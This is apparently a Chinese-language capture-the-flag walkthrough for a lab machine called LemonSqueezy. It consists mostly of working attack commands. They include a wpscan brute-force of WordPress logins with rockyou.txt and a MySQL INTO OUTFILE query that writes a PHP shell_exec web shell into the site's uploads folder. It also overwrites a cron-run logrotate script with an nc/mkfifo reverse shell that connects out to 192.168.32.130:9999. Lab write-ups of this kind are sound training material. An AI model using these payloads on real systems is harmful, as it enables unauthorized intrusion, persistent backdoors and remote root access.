wpscan爆破密码

wpscan --url http://lemonsqueezy/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames lemon,orange

[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - orange / ginger

然后我记得在目录扫描期间我们有"phpmyadmin"页面，我尝试使用orange用户的这个凭据登录到 phpmyadmin。

我们可以看到orange密码的哈希值，我试图破解它但没有成功。因此，我使用与用户orange相同的哈希对其进行了更改。

以leon用户的身份登录。

然后我尝试上传易受攻击的插件和外壳但无法成功，似乎我们无法在服务器上写入任何内容，因为它显示临时文件夹丢失。

在 wordpress 之后，我尝试通过运行 SQL 查询来上传 shell。

select "<?php echo shell_exec($_GET['cmd']);?>" into outfile '/var/www/html/wordpress/wp-content/uploads/shell.php'

发现一个计划任务

查看：logrotate

www-data@lemonsqueezy:/tmp$ cat /etc/logrotate.d/logrotate
cat /etc/logrotate.d/logrotate
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /tmp/* ')
except:
    sys.exit()

输入反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.32.130 9999 >/tmp/f" > /etc/logrotate.d/logrotate

两分钟后，就可以看到建立连接。
